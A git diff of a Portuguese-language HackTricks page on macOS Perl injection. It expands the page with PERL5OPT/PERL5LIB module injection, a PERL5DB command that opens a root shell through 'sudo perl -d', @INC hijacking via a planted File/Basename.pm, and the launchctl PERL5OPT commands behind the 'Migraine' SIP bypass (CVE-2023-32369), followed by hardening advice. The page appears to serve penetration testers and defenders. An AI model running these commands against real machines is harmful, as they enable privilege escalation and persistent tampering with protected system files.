diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md index 74e51cd12..80df6279b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md @@ -1,10 +1,10 @@ -# Injeção de Aplicações Perl no macOS +# macOS Perl Applications Injection {{#include ../../../banners/hacktricks-training.md}} -## Via variável de ambiente `PERL5OPT` & `PERL5LIB` +## Via `PERL5OPT` & `PERL5LIB` env variable -Usando a variável de ambiente PERL5OPT, é possível fazer o perl executar comandos arbitrários.\ +Usando a variável de ambiente **`PERL5OPT`** é possível fazer com que **Perl** execute comandos arbitrários quando o interpretador inicia (mesmo **antes** da primeira linha do script alvo ser analisada). Por exemplo, crie este script: ```perl:test.pl #!/usr/bin/perl @@ -22,17 +22,30 @@ package pmod; system('whoami'); 1; # Modules must return a true value ``` -E então use as variáveis de ambiente: +E então use as variáveis de ambiente para que o módulo seja localizado e carregado automaticamente: ```bash -PERL5LIB=/tmp/ PERL5OPT=-Mpmod +PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl ``` -## Via dependencies +### Outras variáveis de ambiente interessantes -É possível listar a ordem da pasta de dependências do Perl em execução: +* **`PERL5DB`** – quando o interpretador é iniciado com a flag **`-d`** (debugger), o conteúdo de `PERL5DB` é executado como código Perl *dentro* do contexto do debugger. Se você puder influenciar tanto o ambiente **quanto** as flags da linha de comando de um processo Perl privilegiado, você pode fazer algo como: + +```bash +export PERL5DB='system("/bin/zsh")' +sudo perl -d /usr/bin/some_admin_script.pl # irá abrir um shell antes de executar o script +``` + +* **`PERL5SHELL`** – no Windows, essa variável controla qual executável de shell o Perl usará quando precisar criar um shell. Ela é mencionada aqui apenas para completude, pois não é relevante no macOS. + +Embora `PERL5DB` exija a switch `-d`, é comum encontrar scripts de manutenção ou instaladores que são executados como *root* com essa flag ativada para solução de problemas detalhada, tornando a variável um vetor de escalonamento válido. + +## Via dependências (@INC abuse) + +É possível listar o caminho de inclusão que o Perl irá buscar (**`@INC`**) executando: ```bash perl -e 'print join("\n", @INC)' ``` -O que retornará algo como: +A saída típica no macOS 13/14 parece com: ```bash /Library/Perl/5.30/darwin-thread-multi-2level /Library/Perl/5.30 @@ -44,17 +57,43 @@ O que retornará algo como: /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30 ``` -Algumas das pastas retornadas nem existem, no entanto, **`/Library/Perl/5.30`** **existe**, **não** é **protegida** pelo **SIP** e está **antes** das pastas **protegidas pelo SIP**. Portanto, alguém poderia abusar dessa pasta para adicionar dependências de script lá, para que um script Perl de alto privilégio o carregue. +Algumas das pastas retornadas nem existem, no entanto **`/Library/Perl/5.30`** existe, *não* é protegida pelo SIP e está *antes* das pastas protegidas pelo SIP. Portanto, se você puder escrever como *root*, pode colocar um módulo malicioso (por exemplo, `File/Basename.pm`) que será *preferencialmente* carregado por qualquer script privilegiado que importe esse módulo. > [!WARNING] -> No entanto, note que você **precisa ser root para escrever nessa pasta** e atualmente você receberá este **prompt TCC**: +> Você ainda precisa de **root** para escrever dentro de `/Library/Perl` e o macOS mostrará um prompt **TCC** pedindo *Acesso Completo ao Disco* para o processo que realiza a operação de escrita. -
+Por exemplo, se um script estiver importando **`use File::Basename;`**, seria possível criar `/Library/Perl/5.30/File/Basename.pm` contendo código controlado pelo atacante. -Por exemplo, se um script estiver importando **`use File::Basename;`**, seria possível criar `/Library/Perl/5.30/File/Basename.pm` para fazer com que ele execute código arbitrário. +## Bypass do SIP via Assistente de Migração (CVE-2023-32369 “Migraine”) + +Em maio de 2023, a Microsoft divulgou **CVE-2023-32369**, apelidada de **Migraine**, uma técnica de pós-exploração que permite a um atacante *root* **burlar completamente a Proteção de Integridade do Sistema (SIP)**. O componente vulnerável é **`systemmigrationd`**, um daemon intitulado com **`com.apple.rootless.install.heritable`**. Qualquer processo filho gerado por esse daemon herda a concessão e, portanto, é executado **fora** das restrições do SIP. + +Entre os filhos identificados pelos pesquisadores está o interpretador assinado pela Apple: +``` +/usr/bin/perl /usr/libexec/migrateLocalKDC … +``` +Porque o Perl respeita `PERL5OPT` (e o Bash respeita `BASH_ENV`), envenenar o *ambiente* do daemon é suficiente para obter execução arbitrária em um contexto sem SIP: +```bash +# As root +launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")' + +# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl) +open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility +``` +Quando `migrateLocalKDC` é executado, `/usr/bin/perl` inicia com o malicioso `PERL5OPT` e executa `/private/tmp/migraine.sh` *antes que o SIP seja reabilitado*. A partir desse script, você pode, por exemplo, copiar um payload dentro de **`/System/Library/LaunchDaemons`** ou atribuir o atributo estendido `com.apple.rootless` para tornar um arquivo **indeletável**. + +A Apple corrigiu o problema no macOS **Ventura 13.4**, **Monterey 12.6.6** e **Big Sur 11.7.7**, mas sistemas mais antigos ou não corrigidos permanecem exploráveis. + +## Recomendações de hardening + +1. **Limpar variáveis perigosas** – launchdaemons ou cron jobs privilegiados devem iniciar com um ambiente limpo (`launchctl unsetenv PERL5OPT`, `env -i`, etc.). +2. **Evitar executar interpretadores como root** a menos que estritamente necessário. Use binários compilados ou reduza privilégios cedo. +3. **Scripts de fornecedor com `-T` (modo de contaminação)** para que o Perl ignore `PERL5OPT` e outras opções inseguras quando a verificação de contaminação estiver habilitada. +4. **Mantenha o macOS atualizado** – “Migraine” está totalmente corrigido nas versões atuais. ## Referências -- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk) +- Microsoft Security Blog – “Nova vulnerabilidade do macOS, Migraine, pode contornar a Proteção de Integridade do Sistema” (CVE-2023-32369), 30 de maio de 2023. +- Hackyboiz – “Pesquisa sobre Bypass do SIP do macOS (PERL5OPT & BASH_ENV)”, maio de 2025. {{#include ../../../banners/hacktricks-training.md}}